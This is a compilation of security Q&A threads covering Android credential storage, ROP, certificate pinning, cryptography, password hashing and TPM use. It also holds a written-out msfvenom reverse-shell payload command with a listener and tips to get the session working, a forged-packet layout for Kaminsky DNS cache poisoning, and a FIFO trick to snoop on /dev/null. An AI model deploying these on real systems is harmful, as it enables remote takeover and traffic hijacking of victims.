Android Keychain: what is a system wide credential? Android documentation about keystore system has a sub-section Choose between a keychain or the Android keystore provider, it says we should use the KeyChain API when we want system-wide credentials. What is a system wide credential? When should I use it? Can you explain it with an example?

Before answering your question I need to ensure that you have basic knowledge of KeyStore and Android keystore system. Therefore, at the beginning, I will be covering some basic overview of these terms in case if you require. After that, I will try to answer your questions.
KeyStore
KeyStore can be defined as a database, API or even a class depending on the context. To make it simple, KeyStore can be defined as a secure collection of aliased keys and certificates. Typically, KeyStores are saved in the file storage, protected with password.
Android keystore system
If we read the official documentation, it says

The Android Keystore system lets you store cryptographic keys in a container to make it more difficult to extract from the device. Once keys are in the keystore, they can be used for cryptographic operations with the key material remaining non-exportable.

So, from the above statement we can infer that, it lets you,

Store cryptographic keys (private, public keys)
Perform cryptographic operations using stored keys (encrypt, decrypt, sign, verify, etc.)

Now you might be wondering, where and how it stores those credentials? Actually, it stores the credentials in a system credential storage or KeyStore either by the KeyChain API or by the AndroidKeyStore provider feature. For better understanding, let's know a little bit about their history,
A system KeyStore was introduced in Android 1.6 (Donut). But unfortunately, at that time, apps were not able to access it as it's access was only limited to VPNs and for Wifi authentication. Therefore, apps were maintaining their own KeyStore. It was okay but sometimes it was causing manageability issues when multiple apps were wanting to share common credentials among them. To address this problem, Android 4.0 (ICS) introduced the KeyChain API which allowed apps to access the system KeyStore with user's permission.
KeyChain
With KeyChain API, apps can request user to install or choose credentials by prompting system dialog. It also allows apps to list and access their allowed credentials stored in the system KeyStore. Most interestingly, the apps don't have to use separate password to protect the system keystore as it is protected by lock screen and device administration. The credentials that are imported by any app can be accessed by other apps with the user's permission. You can also see the list of user credentials in the System Settings by navigating to Settings > Security & lock screen > Encryption & credentials > User credentials. (The settings path and menu may vary depending on the device manufacturer and OS version. It is given based on my Oneplus 6. see the Screenshot)
AndroidKeyStore provider feature
This feature was introduced in Android 4.3 (API level 18) to let apps generate, store their credentials in the system keystore which can only be accessed by the app itself.  To perform operations, no user interaction is required.
I think I am done with providing sufficient information to move forward with answering your questions. Now let's try to answer your questions,

What is a system-wide credential?

In general, the credentials that are stored using KeyChain API are system-wide credentials. Because they can be used by any other apps within the system if the user permits. On the other hand, credentials stored using AndroidKeyStore provider feature can only be used by the app itself.

When should I use it? Can you explain it with an example?

You should use it when you have multiple apps installed in the same device need to talk to the same server with a common set of shared credentials. For instance, you have an email app and a browser app which talk to the same backend server with the same set of credentials. KeyChain API allows you to use the same credentials that can be used by both the email app and the browser app as they are system-wide credentials. This type of credentials can also be used for VPN, SSL authentication, digital signature and encryption/decryption etc.
I hope now you have a clear understanding of Android Keystore system. I will appreciate any type of corrections as I am not perfect.

Update
To clear up your confusion, I would like to divide Keystore in the following two categories depending on manageability,

Self-managed Keystore where you are responsible for saving the Keystore in a file or retrieving it from that file, and also generating or importing keys into that Keystore as well. This documentation shows how to implement self-managed Keystore.
System managed Keystore where the system is responsible for storing or retrieving the Keystore in a file which is accessible by the system only. Android System provides two APIs i.e. KeyChain and Android Keystore provider to access the system managed Keystore. Now let's see the difference between these two APIs,

KeyChain vs Android Keystore provider

In KeyChain API you need to generate keys by your own and import in through this API. On the other hand, Android Keystore provider lets you both generate and import keys into the system managed Keystore
The keys imported using KeyChain API is shareable across the system. That's why it's called the system-wide credential. Once an app imports a key in the system Keystore using KeyChain API, not only the app can access the key but also the other apps can access the key using KeyChain API. On the other hand, keys generated or imported using Android Keystore provider are not shareable i.e. the keys can only be accessed by the app that generated or imported the keys. As other apps in the system can not access the keys using Android Keystore provider API, they are not considered as system-wide credentials.

I hope the above explanation helps. Let me know if you have further confusion.


Return oriented programming (ROP) - Why does it bypass ASLR and what are pop/pop/ret for? I'm trying to understand ROP and struggle with the following two questions:

I'm often reading that ROP bypasses ASLR and DEP. While it's clear to me ROP is a perfect way to avoid DEP, I don't see how it's bypassing ASLR. Is it because the code section is not randomized?
I'm also reading a lot about these pop/pop/ret gadgets but I don't understand why they are needed. isn't any gadget ending in a ret good enough?

ROP is only a bypass for DEP - ASLR actually is the protection against ROP. The code section is randomized and that's why you can't (normally) use ROP against ASLR - to bypass it using ROP, you'll need an information leakage which discloses how the address space was changed.

As for the pop/pop/ret gadgets, these are used in the context of using SEH for code execution - a means of bypassing some analysis/protection methods other than DEP and ASLR.

Here's an explanation for POP,POP,RET in the context of SEH: https://dkalemis.wordpress.com/2010/10/27/the-need-for-a-pop-pop-ret-instruction-sequence/. As for ROP, the best resource I know of are Corelan's tutorials: https://www.corelan.be/index.php/2010/06/16/exploit-writing-tutorial-part-10-chaining-dep-with-rop-the-rubikstm-cube


Can cookies reveal my email address? When I visit livescore.com, ten seconds later I receive marketing emails from gambling companies. If I don't visit this site, I don't receive these emails. Similar things happen when I visit Twitter or Tumblr. I receive emails advertising their sites, even though I don't have Twitter or Tumblr accounts.

How do they know my email address? Is it because of cookies? Do they also know my personal information? Most importantly, how can I prevent this?

Unless the spam is coming from the site you're visiting or that site already knows your email address, it's unlikely that site is to blame. In fact, unless you've associated your email address with some service that is a partner of the site you're visiting, there's no way for them to even get your address (i.e. whom did you actually tell your address to?).

Instead, a more likely scenario is a local compromise within your browser or otherwise on your machine or local network. Software running locally could scrape your address from forms you've filled out, and then could watch your activity no matter where you go or what you do -- no VPN or encryption or anonymizing service can offer any sort of protection if the attacker controls your computer.

Many people unwittingly install browser extensions; toolbars, "safe search" extensions, or other helpers as part of other software installs. The less scrupulous the software's distributor, the more likely these things get bundled in. Any such software could easily do this and much much worse.

Likewise, such software can be installed by infected websites using such vulnerabilities as the Adobe Flash zero-day vulnerability patched yesterday for Windows, OSX, and Linux. If you have Flash installed (and you likely do), then your browser was and probably still is vulnerable and being actively exploited by malicious websites.


I got an email threatening to DDOS me if I don't pay a ransom. What should I do? I received the following email, addressed to me at an email address on my personal domain (for which I run my own mail server on a VPS):

  FORWARD THIS MAIL TO WHOEVER IS IMPORTANT IN YOUR COMPANY AND CAN MAKE
  DECISION!

  We are Armada Collective. lmgtfy URL here

  Your network will be DDoS-ed starting 12:00 UTC on 08 May 2016 if you
  don't pay protection fee - 10 Bitcoins @ some-bitcoin-address

  If you don't pay by 12:00 UTC on 08 May 2016, attack will start, yours
  service going down permanently price to stop will increase to 20 BTC
  and will go up 10 BTC for every day of attack.

  This is not a joke.

  Our attacks are extremely powerful - sometimes over 1 Tbps per second.
  And we pass CloudFlare and others remote protections! So, no cheap
  protection will help.

  Prevent it all with just 10 BTC @ some-bitcoin-address

  Do not reply, we will not read. Pay and we will know its you. AND YOU
  WILL NEVER AGAIN HEAR FROM US!

  Bitcoin is anonymous, nobody will ever know you cooperated.

Obviously, I'm not going to pay the ransom.  Should I do anything else?

Update:

I forwarded the email and original headers to the originating ISP.  They replied that "Measures have been taken."  So, umm, yay?  I guess?

This article might be important for you: https://ca.news.yahoo.com/armada-collective-ddos-threats-were-212413418.html

Someone has been copying the Armada Collective's email content to scare people into paying, but no attacks have been recorded.

So, possibly, you don't have to do anything.


Chrome is telling me I am receiving a forged certificate for Gmail, is someone trying to hack me? I went to log on to https://mail.google.com this morning and I got the following error. Is someone trying to attack me or is this just a bug?
I'm on a WPA2 encrypted wireless connection using Chrome Canary 22.0.1230.0.
I've tried clearing my browser's private data and restarting Chrome.
Gmail appears to be working in Safari and Firefox, but I haven't tried logging in.

Incorrect certificate for host.
The server presented a certificate that doesn't match built-in expectations.
These expectations are included for certain, high-security websites in order to protect you.
Error 150 (net::ERR_SSL_PINNED_KEY_NOT_IN_CERT_CHAIN): The server's certificate appears to be a forgery.

Try it on a non-Canary build of Chrome. Last I checked, Canary builds aren't even tested before release so you can't come to any any concrete conclusions unless you use one of the release branches.

As for making the same https connection using Firefox and Safari, I think you have disproved covered the vast majority of security failure possibilities. But the error from Chrome is from a feature that Firefox and Safari do not provide. Thus a good final step would be to get the Chrome stable version to answer your question.

Since Canary builds are so volatile, I think that getting a yes or no answer from us to whether it is a bug is unlikely, unless someone else who runs Canary happened to re-create the problem. You need to use one of the release branches of Chrome.

Edit: According to other comments posted on your question (which have since been deleted), it looks like a temporary Canary problem, switching off of Canary will most likely fix it, and, if you are on an untrusted WiFi, that would be a safer than ignoring the error.


Whats the probability of a personal computer being hacked? For a normal computer user following these practices:

Have an up to date anti-virus with a firewall installed (Norton).
Do not install cracked software.
Do not open suspicious links or download software from unknown sources.
Do not install unknown add-ons to browsers.
Windows updates are installed whenever available.
Do not even have a torrent client or similar applications installed.

Extra details:

I open a lot of PDF files and I always knew that PDF files can be infected and cause harm. But I never took this seriously and I never had a dedicated tool to scan them. Not sure if the Anti-Virus I use (Norton) does this job or not.

Q1. What's the probability of having my PC being hacked to steal my documents or private information?

Q2. Are there extra measures to take or tools to install that I am missing?

If you properly follow the recommendations and standards that you've mentioned here, you should be reasonably safe, as long as you also keep your software up to date. It's arguably more important to install updates for PDF readers, Adobe Flash, Microsoft Office, etc. than the OS updates, because those are where most day-to-day attacks are focused.

A few other suggestions:

Use a sandbox for read-only stuff, like opening PDFs. That way, even if a document is malicious, the chances of your machine getting compromised is significantly reduced. Sandboxie is nice.
Send any suspicious PDFs through VirusTotal. It has some specific exploit detection tools that it runs on PDF documents, which are very good at catching suspicious documents even if the exploit vector is not yet known to AV vendors.
Don't ever assume that your AV will catch malware. Studies over the last 5 years or so tend to show that each AV software package catches around 30% of malware. Aggregate tools like VirusTotal have better results, but it's obviously infeasible to run every file you download through it. Keeping your AV up to date helps, but technology is not a panacea.
Protect any sensitive documents with TrueCrypt. It won't prevent malware from stealing files from a mounted volume, nor is the password screen invulnerable to keyloggers, but it does reduce your chances of having important stuff stolen as long as you don't open the volume whilst infected.
Make regular backups. Getting owned is, sadly, a fact of life. If your machine gets infected, the only way to be sure is to nuke it from orbit and start over. Even worse, ransomware might corrupt your documents and demand a large fee in order to recover them. The cost (time and money) of implementing backups is far less than the cost of recovery when you lose all of your data.


Could RSA be used as a block cipher? I always thought that the reason we couldn't use it was because it required too many CPU cycle. But an answer from @TomLeek indicated that this was not the case :

https://security.stackexchange.com/a/103446/50051

  Most texts that talk about hybrid encryption say that we need to do
  that because asymmetric encryption is slow, but that's wrong. The real
  reason why hybrid encryption is used is because known asymmetric
  encryption algorithms cannot simply process messages of arbitrary
  length, and we have no real idea about how we could alter them in
  order to do so securely. Basically, the "chaining modes" for block
  ciphers do not have equivalents for asymmetric encryption that would
  be obviously safe.

Why is it so complicated to use RSA as a block cipher?

When you look at it quickly, RSA encrypt a block of text so we could call it a "block cipher" and then you just need to plug that into a good block cipher mode of operation and you would call it a day. BUT, it seems that RSA require some fancy padding to be secure. Would the security problem related to that padding issue?

https://en.wikipedia.org/wiki/RSA_%28cryptosystem%29#Padding

There is no theoretical reason why asymmetric algorithms can't be optimized to handle larger length plain text messages, but symmetric algorithms have a few advantages for application level data bound to their symmetric nature.

Having a single secret shared between two peers for user (application level) messaging is conducive to simple and elegant protocols.
Less cryptographic innovation is required to provide speed and resistance to partial plain text and other attacks because the burden of having a public key that does not open a door to the discovery of the private key in any reasonable time frame is relieved.
Symmetric algorithms and software implementations of them have evolved over the historical use of SSL and TLS along the lines of high speed, stream-able frame handling, and resilience to attack for large messages.


How secure is wifi traffic from shared users? If two persons use the same router, which has an embedded WiFi access point, for accessing the Internet, is it possible that one can see

HTTP traffic
HTTPS traffic
TOR traffic

of the other in the below mentioned scenarios?

Both connect to the router via its WiFi access point.
One connects to the router via its WiFi access point, the other via Ethernet.
Both connect to the router via Ethernet.

The router's WiFi access point uses the WPA or WPA2 protocol.

It is not secure at all.

Anything you transmit that is not encrypted can potentially be read in this scenario. Read up on the recent Firesheep snafu for an example of how this particular issue has been exploited recently.

The details of what can easily be accessed in your scenario will depend a bit of the make, model and setup of your networking equipment. How easy it is to trick such hardware into using a broadcast mode when sending out packets or setting up an eavesdrop on somebody else's channels varies widely, but as a rule of thumb it is usually possible to compromise any network you have physical access too.

Basically if you are an the same physical network and layer you should assume that you traffic can be observed by others on the same network and layer. This is part of the reason Windows prompts you when you connect to a new WiFi access point for whether the network is a shared public one or a private home or business network. In the later cases it can be assumed that the other machines that can see the traffic are friendlies and the guard will be lowed a little bit for things like file sharing and other networked services.

If you are on a shared network or connecting through any networks not in your direct and exclusive control, anything you do that you don't want in the open needs to be secured before it leaves your machine.


Certificate Pinning and Corporate MITM What I still don't understand about certificate pinning is - why am I still able to access Google apps through a corporate MITM? I know that I have the root cert for my corporation installed on my PC, but shouldn't Google throw an error when its sites are signed by a cert (my corporation's cert) that does not match one of the pinned certs on Google's servers? Maybe I'm misunderstanding how pinning works.

With browsers that have certificate pinning, user-installed root CAs are normally exempted from pinning requirements; if the certificate received doesn't match the pinned certificate or key but is signed by a custom-added CA, the browser doesn't complain. This is done to support the exact scenario here, as well as the scenario where a user decides to MitM themselves (to, for instance, inspect all of their own network traffic). Source (the blogger in question, Adam Langley, works on the Chrome network stack and Google's HTTPS infrastructure).


Are NFC tags with cryptographic features "write-only"? I was wondering how exactly cryptographic NFC tags/cards retain their security. I read that there are certain types of cards that are able to perform symmetric or asymmetric cryptography. These cards are said to never reveal the respective key stored inside them, obviously. The reader would provide them with a challenge, the card performs an operation on the challenge and sends it back to the reader which can verify the result with its respective key.

But how do you get the key into the card? I imagine there must be some sort of a write operation at hand, so that the issuer (not the manufacturer) can rewrite and reuse cards at will. That would mean that any third party would also be able to write to the chip, but the worst they can do is "break" it (meaning making the reader not accept the card by changing the card's key) since they can't read the key.

Is there such a write-only mechanism? If not, how else do you get the key in the card while preventing others from reading it?

This varies by implementation and manufacturer. But in a nutshell. The keys are written once to the card and then protected against tampering. The keys are commonly stored in chip with the ROM, which has technical and physical controls in place to destroy the key if tampered. These are not 100% guaranteed and attackers have indeed found clever ways overtime to manipulate them.

Just to make it clear then. The keys are written into the card and then no further writing is allowed without the existing key being destroyed. - again implementations vary but in essence that's the basic idea.

I found this thesis a really exciting read if you want lots of detail about smart card security. It's long but excellent. http://theses.gla.ac.uk/3091/


MSF Venom Reverse TCP-Shell: Meterpreter and Netcat Listeners not responsive I have created a MSFVenom TCP Reverse Shell Paypload that is executed on a Windows Machine:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.11.6.151 LPORT=4443 -f exe -o shell.exe

In addition I am running a listener with Metasploit's "multi/handler" or alternatively, a netcat listener:
nc -lvp 4443

However, after executing the payload on the target machine, I cannot get a working shell. Neither on Meterpreter nor Netcat.

Meterpreter does not respond to any command, or backgrounding. I cannot get the normal Meterpreter Shell.

There is also no shell appearing on Netcat.
Any help or suggestions are very appreciated!

In the first screenshot, it seems that the session was opened but not started. To solve that, you can run the meterpreter listener on background then you can interact with session using its id (case of the first screenshot: 1).
You can start the exploit in background using the command:
exploit(multi/handler) > exploit -j -z

Once you got the message that the session was created, start interacting with the session by running:
exploit(multi/handler) > session -i ID_SESSION

For the second screenshot:
You are using netcat listener with windows/x64/meterpreter/reverse_tcp. It won't work because of the payload that downloads a second stage when it connect to the server.
In order to use netcat listener, you should use windows/x64/shell_reverse_tcp.


Secure API key mechanism for identification In my web application, when the user logs in, a pair of JWT(JSON web tokens),access token and refresh token is sent with some fixed time validity. Using access token client is authenticated and using refresh token, a new access token is generated which works fine. I am not storing tokens in the database.

Now, I want to provide an API package to the client where clients can use our APIs with their developer account.

I researched on the web and found out that API keys and secrets serve the purpose of authorization, not authentication.

I don't have any functions in the API for which client needs user consent. They are simple REST API calls which any user with a developer account can call. Therefore I don't need authorization but I need to authenticate the developer who is calling the API as there is a limit on how many calls a developer can make.

How can we generate some API key to uniquely identify the developer?
Can it be jwt access token without expiry?
Can anyone explain what should be the standard mechanism for this
scenario?

I don't want the developer to call login API to get the access token every time.

How can we generate some API key to uniquely identify the developer?

Include a custom claim in the JWT to identify the developer.

{
 "accountType" : "developer",
 "iat" : 1422779638
}

  Can it be jwt access token without expiry?

If you are providing sensitive information through the endpoint, a token without expiry is not a good practice. If it s for a dev environment, you can have long living keys.

  Can anyone explain what should be the standard mechanism for this scenario?

Easiest way this can be handled is as mentioned in the answer to first question. Ideally if the access each user need to have on the API endpoint is different both from operation and data access perspective, strong authorization need to be in place rather than blanket all developer/all user authorization.


What information can a website see if I am using a remote computer? Suppose that I have a computer in Australia and access it remotely from Canada. Further suppose the Australian computer isn't used by anyone in Australia -- it's sitting in my locked apartment, left on -- and is only accessed remotely by me.

If I were to log on to a poker site that does not allow customers from Canada, but does allow customers from Australia, would the site be able to trace me back to Canada, or would it appear that I'm logging on from Australia? Assume this site has the best geolocation software presently available.

It all depends on how you are accessing the remote computer. If you are running a remote desktop program, then all web browsing is being initiated by the remote computer, and the target website only knows about the Australian computer.

If you are running a VPN or a proxy on the remote computer, and the web browsing is initiated from Canada, then it is possible that the origin computer might leak data to the target. (Search for VPN/proxy privacy leakage on this site and others)


Should pin numbers expire? We're using pin number for username retrieval process.  Similar to a standard bank solution where a user must enter their ssn and account number to get their username.  Is it necessary to expire this pin number after six months or some other time?

Unless there is a regulatory or compliance framework around your offering, expiring PINs or passwords is up to your organization.  Usually, a company or organization will define this practice in their security policy.  If your organization has one, that's where you should be looking for your answer.

That said, if you don't already have a security policy, take a look at NIST's security policy framework.  They provide a rich example that you could apply to your organization.

In the specific case of asking a user to provide a "recovery PIN", there probably isn't much point to trying to expire it unless you're going to demand they change it periodically (this would be unusual.)


Kaminsky Bug Exploitation I am trying to exploit the Kaminsky bug for a school assignment. The specific version of the bug that I want to exploit is sending a forged packet with false information about www.domain.com so that all users attempting to access www.domain.com com will be directed elsewhere. My packet looks like so,

flag: 8580
Query: ???.domain.com
Answer: ???.domain.com A IN x.x.x.x
Authority RR: domain.com NS IN ns www.domain.com
Additional RR: www.domain.com A IN x.x.x.x

My problem is that my victim DNS server is cacheing the address www.domain.com as additional information but not using it when I query the server for www.domain.com. Instead it goes out and fetches the correct records. The DNS server is on my LAN on a VM. It is bind9, I believe 9.9. I have tried turning off dnssec, port randomization is off, my thought is that there has been enough time for bind to patch up the server good enough to avoid this particular exploit. Any thoughts or suggestions? Should I try an older version of bind? I started this project to learn more about DNS and I have learned a lot, but now that I've gotten to this point it is just frustrating. If you want to see anything from my setup I should be able to pull that up for you. Thanks in advance for any advice.

I guess a better way of asking this without saying "help me hack this thing" are what kinds of security measures have been put into place to patch the Kaminsky bug? Particularly on bind9, but in general is good too.

The "Kaminsky bug" (CVE-2008-1447) affects "BIND 8 and 9 before 9.5.0-P1, 9.4.2-P1, and 9.3.5-P1".


arp request to a ghost host All the clients in my wireless network send continuously arp requests to a
host that doesn't exist (I've checked its absence with nmap -PN [IP]).

The clients use windows 7 and windows xp (here the requests are sent with less
frequency).What does it mean?

I think that this behavior is the reason of my network congestion... but what can i be sure?! Is there a way to check which process send the arp request?

There's no one (normal) process that would be causing ARP to happen - a process might ask for a connection to an IP address, but then it's the network stack's job to figure out how to get it to another machine, and that's when ARP happens.

Your best bet is to figure out where the machine is connected, switchport wise, from your switch.  Either via the switch's interface or via SNMP via the IP net-to-media table.  Then you can chase wire and find the beast.

Since it's just Windows, you might have a WINS server that got elected master, or something like that, but that's purely a stab in the dark.


What key to use in HMAC I need to use HMAC on a certain message to guarantee integrity, but I cannot figure out what are the requirements for the key to be given as input to the hashing algorithm.

In particular I have to do this in Java and, as I want to use HMAC with SHA256, I need to have a key of at least 32bytes, according to the HMAC RFC. For the moment (for testing) I am generating the key with SecureRandom("NativePRNG"), a Java  implementation of a cryptographically strong random number generator. Is this enough for the key?

The key should be the same size as the hash output. In your case you are using SHA-256 so you should use a 256-bit key (which equals 32-bytes that you mention).

The HMAC algorithm is really quite flexible, so you could use a key of any size. However, if you only use a 128-bit key then there is no point using a 256-bit hash; you might as well use a 128-bit hash like MD5.

SecureRandom in Java is quite adequate for generating keys for this purpose.


AES256, repeated IVs and mostly-costant payload: how ok/bad is that? I recently came across an application that more or less does this:

starts from a (supposedly unknown to others) key
generates a random IV
encrypts some smallish (~ 160 bytes) payload with the key and generated IV using AES256 in CBC mode
[>=60% of payload is comprised of two or three ASCII words, chosen from a supposedly unknown but more or less easily guessable list of some dozen elements]
derives another IV just by doing some math on the key. This IV will be the same for every packet, ever, and the code to generate it from the key is publicly known.
encrypts a small header (32 bytes) with the key and derived IV using AES256 in CBC mode
[most of this header is made of fixed data such as "protocol version" that should be considered publicly known, then it contains a unix timestamp (known data if you know when the packet has been transmitted) and the random IV used before for the payload part]
transmits the resulting encrypted header+payload on the wire

The receiving part knows the (pre-shared) key, regenerates the "header IV" from that, decrypts header, gets payload IV from there, decrypts payload.

The whole stuff repeats for every packet, and the typical application would have anything from 5 to 50 packets per second going on the wire, and since many of them are just "status info" the only difference between their cleartext would be the unix timestamp and the (pseudo)randomly-generated payload IV.

I'm definitely no cryptography expert but as far as I know "fixed IV derived from key used to encrypt 32 bytes, 28 of which are fixed and/or easily guessable" should at least ring some alarm.

How could the security of such approach be considered? - "security" defined as keeping the key and/or the payload secret even if someone could eavesdrop packets from the wire.

Consequences of an IV reuse range from "serious" to "dramatic", depending on the encryption mode. AES, by itself, is a block cipher: it processes blocks of 128 bits. When encrypting a message (with a length other than exactly 16 bytes), one must use a block cipher mode of operation. Many such modes are "sequential" in some way, with a running state, and the IV is the initial value for that state.

If the encryption mode is CTR (as is common in many modern extended modes like GCM), IV reuse is deadly, because then the encryption degrades to the infamous multi-times pad. With CBC mode, IV reuse is somewhat less critical, yet serious. In particular, a reused IV is also, by definition, a predictable IV, which can be leveraged in chosen-plaintext attacks like the BEAST attack.

A more general comment is that a reused IV is a sign of incompetence; it is unlikely that the said incompetence stopped at the IV reuse. Chances are that other elements of the whole protocol are similarly poorly designed. Weaknesses don't travel alone...


Is writing to /dev/null secure? I am working on a web-service based crypto project in JAVA. The basic idea is for the client to send a SOAP request to a servlet to encrypt data. For data transmission I am using MIME/data-handlers and I noticed that MIME stores the data being transmitted in a temporary file if the size is larger then a given amount. Even though this file will be garbage collected I would prefer it to not even be on my system. Thus, I have been writing this temporary file to /dev/null. As this is just a project it is not the end of the world if someone could still read the temp file but it made me think about a production environment where this could be a huge issue.

Is writing to /dev/null safe and secure? Is it the same as not writing the file at all? Could someone still access the plaintext temp file that is being written ie, as it is being written?

Is it possible to replace /dev/null with something else. Try it (as root):

mv /dev/null /dev/null-real
mkfifo /dev/null # Create a FIFO pipe to read/write data
while read line; do echo "Incoming: $line"; done < /dev/null &
echo secretdata > /dev/null

You will see a message saying Incoming: secretdata in your terminal. This is because the "while read" loop is "backgrounded" (the & sign does that). This means it will run in the background while the next line is executed. Anything written to our FIFO pipe, located at /dev/null, will be picked up and displayed.

If you tried this on your computer, you can restore the original situation simply by doing:

rm /dev/null
mv /dev/null-real /dev/null

Having a listener on /dev/null is extremely uncommon, though. I think only root can do this. If you really really care, you could also check whether /dev/null is actually the original /dev/null device (you can see in stat /dev/null it's a certain kind of device with a certain inode). I don't think it's worth doing that though, because:

TL;DR: If you can't trust your server administrator to leave the /dev/null device alone, your application shouldn't be running there anyway.


Why encrypt password fields? Answering management I'm looking for an answer to give to management of a project I inherited after I was observed doing manual password replacement using a visual tool (via SSH tunnel).

Their question:

Why encrypt password fields if you can see all the other data anyway, including names and emails?

Their question comes from their frustration that we can't just give people a new password (admin features are broken). They don't understand the benefit of having these encrypted passwords when, from their perspective, all the rest of the data is available to an administrator anyway. I wanted to give more reasoning than just it's good practice to not store clear passwords.

Further context - the password reset feature was apparently not working so I was replacing the user password by copying the encrypted value from a dummy account. This is what the manager saw me doing, at their request, and then wanted to know why it was worth having our lives made more difficult by encryption.

Yes I know that implies the current password encryption logic needs work - let's just say this is among the least of the problems from the pretending-to-not-outsource original developer. (I'm using the term "encryption" here because I don't know if the code is hashing or using a reversible form of encryption - encryption is actually the broader term for the nit-pickers.)

The SQL database is behind a REST API - they aren't exposing it directly. That's one of the few sins not committed so far, sigh.

Passwords should be hashed (not encrypted - encryption implies that it can be reversed) for two reasons.

The first is that users are negligent and keep using the same passwords for different systems. No, they should not do this, but many people do it nevertheless. So when your password database gets compromised, people can not just log into your user's accounts on your system but also to accounts in any other system where they use the same username&password combination.

Now the suits will ask about the business impact of that risk. After all, it doesn't affect their profits if users get hacked on some completely different service owned by a completely different company. The only argument you can provide here is the Public Relations argument one.

The second problem are internal attackers. When employees can see the passwords of any users they don't like, they can log into their accounts, impersonate them and wreak all kinds of havoc with them.

Now the suits could argue that a rogue employee has even more effective ways to harm users and that they will be fired if they try. But they forget that employees also have a private life. When they log into user accounts from outside the company (and sufficiently cover their tracks), there is no way to find out who it was. Or even find out that it was an employee and not someone who obtained the password from hacking some cleartext password database of a different company.


Using TPM with well-known SRK/owner passwords? First, I will explain roughly how I plan to use the TPM:

I am using something called tpm-luks which stores a key in both TPM NVRAM and adds the key to one of the LUKS keyslots. The initramfs then decrypts the root LUKS-encrypted partition using the key it gets from the TPM. I also use tpm-luks to seal the key so that the key is released from the TPM NVRAM only when the TPM PCR registers are in a given state (e.g. after a pre-determined bootloader, initramfs, linux etc. have been loaded). TrustedGRUB[2] is used as the bootloader so that it records its own hashes to the TPM PCRs.

I also plan to do remote, unattended upgrades to the system from time to time (e.g. updating the kernel which will also change the hashes of the kernel files etc.). To get around this problem, tpm-luks provides a way to pre-compute the hashes and reseal the key using the new values before the rebooting the machine so that the key can be unlocked again with the new PCR state.

This process currently requires me to enter the TPM owner password each time I do an upgrade and want to add a new key.

My questions are:

Is it okay to use the well-known password of 20 bytes of 0s as the owner/SRK passwords? tpm-luks has the options to use those well-known passwords to perform these operations so that they can be non-interactive. Since  the system is locked down, I am assuming no one will be able to exploit this?
If not, would it be feasible to keep the passwords on the encrypted root partition? The system is trusted by the time the root partition is decrypted so it should be safe to store the password there (and access it securely)?
Would it be better to keep the passwords at some other safe location and send them down to the machine if it needs to perform such operations? Not sure if it's any safer than the second option above.
Are there any other better solutions to accomplish the objectives above (non-interactive storage of keys to TPM NVRAM)?

Is it okay to use the well-known password of 20 bytes of 0s as the
  owner/SRK passwords? tpm-luks has the options to use those well-known
  passwords to perform these operations so that they can be
  non-interactive. Since the system is locked down, I am assuming no one
  will be able to exploit this?

If you leave the owner and password as default or well-known values you are opening the door to circumventing the entire secure boot process. This is more of a concern in embedded systems out in the field that are meant to be tamper resistant (tampering in this case causes them to either fail to operate or fall into a functionally limited fail-safe mode).

If you use well known owner/password anyone with the experience or knowledge could change the underlying OS image/hardware configuration, update TPM PCR values and still access the file-system keys, bypassing whatever security/integrity measures you are putting in place.

  If not, would it be feasible to keep the passwords on the encrypted
  root partition? The system is trusted by the time the root partition
  is decrypted so it should be safe to store the password there (and
  access it securely)?

Sure, I can see this working, although, once the system is booted and deemed 'trusted' you're still susceptible to someone picking up the keys which would then permit them to remove the drive from the system and decrypting it. So, sure, it's safe to store it there ... while it's encrypted, but post-boot it's a risk. (This could ultimately result in backdoors installed on 'trusted systems')

  Would it be better to keep the passwords at some other safe location
  and send them down to the machine if it needs to perform such
  operations? Not sure if it's any safer than the second option above.

The TPM is literally the best place for you to store your keys.

  Are there any other better solutions to accomplish the objectives
  above (non-interactive storage of keys to TPM NVRAM)?

Sure. It sound like you're looking at complicated solutions for a single, tooling problem: your tools don't let you automate ownership/setting passwords.

I would probably checkout the trousers code repo, get it built and sanity test it, then modify the tpm_takeownership tool to add a non-interactive owner/password prompt option then use that custom binary during your upgrade process.


nmap: Same IP, different domain names, different results? I'm scanning a network (whose name will not be stated). It has >1 IP addresses. When I tried scanning its subdomains, there are several subdomains that are translated to the same IP address but return different scan reports (like different ports being reported).

For example:

nmap subdomain1
nmap subdomain2
nmap i.p.v.4
# The IPv4 that both subdomains translate to

nmap subdomain1 -A -p-
nmap subdomain2 -A -p-
nmap i.p.v.4 -A -p-
# This also returns different results

Those 3 all return different port findings.

From what I know, the URL/domain name should just be translated to the IP then scan, so I think they should all return the same results.

Why are different results returned? Is it because of domain translation (something I missed?) or is it something else?

Also, if given an IP address of a domain and its subdomains with the same IP, should I just scan the IP (save time and resources) or should I also scan every subdomain?

There might be a Web Application Firewall with different profiles for different domains. So they might share the same ip address but every domain serves a different purpose and so different ports are allowed.
A WAF is able to "unterstandt" the http packets, that way it is able to determine the domain you try to connect to.


Securely storing AES key with public key cryptography Security newbie here

I have a bash script that recursively enumerates all files and directories from a given path (say /home/user) and encrypts individual files and stores them into another directory  (say /media/backup) maintaining the directory structure. I'm using GPG's symmetric key (AES 128) encryption for the purpose.

Now the problem is that GPG prompts me to enter a password for every file that is to be encrypted. Since there are multiple files, this isn't feasible. So the solutions I could think of are -

Prompt user to enter the key, and store it in a variable, and use that variable in the script for password (with the echo $password | gpg ... --passphrase-fd 0 --batch option). The user has to memorize the password.
Create a new public/private key identity with GPG. Create a new text file containing the password and encrypt it with the public key of this new identity and store it locally. Now in the script, decrypt this password file and use the password thus decrypted. Again in this case, the user enters the (memorized) private key password once.

To me, both the solutions seem similar (user has the final piece required to decrypt the files). I would like to know if one solution is better than the other, or even if they both are insecure; and in that case what should be the ideal solution.

The threat model here is, if my encrypted files & my system is compromised and an adversary gets user/root access to my system, they shouldn't be able to decrypt the files without the memorized password.

Edit: The person posting this question (https://stackoverflow.com/questions/3491481/encrypting-large-files-using-a-public-key) claims that symmetric encryption of files and then asymmetric encryption of the key is the proper way to do it. Does that imply #2 is the preferred way?

Overall, the better solution of the two is #2, but not just because of its security properties. More so because of user convenience. Let's go over why.

Option #1: The user's (potentially weak) password is stored in a variable and used n times, where n is the number of files that you're dealing with. Storing it in memory for such a long time could potentially increase the risk of it being leaked or compromised.

Option #2: Assuming you use a relatively fast asymmetric encryption algorithm (ECC), there should be really no time penalty for using this option. For encryption, the user's input is not needed as the public key is used. The private key is stored encrypted, so for decryption, the user enters a key once to unlock the private key. Of course, in this case, the private key has the potential of being compromised from memory, but the risk only exists when decrypting.

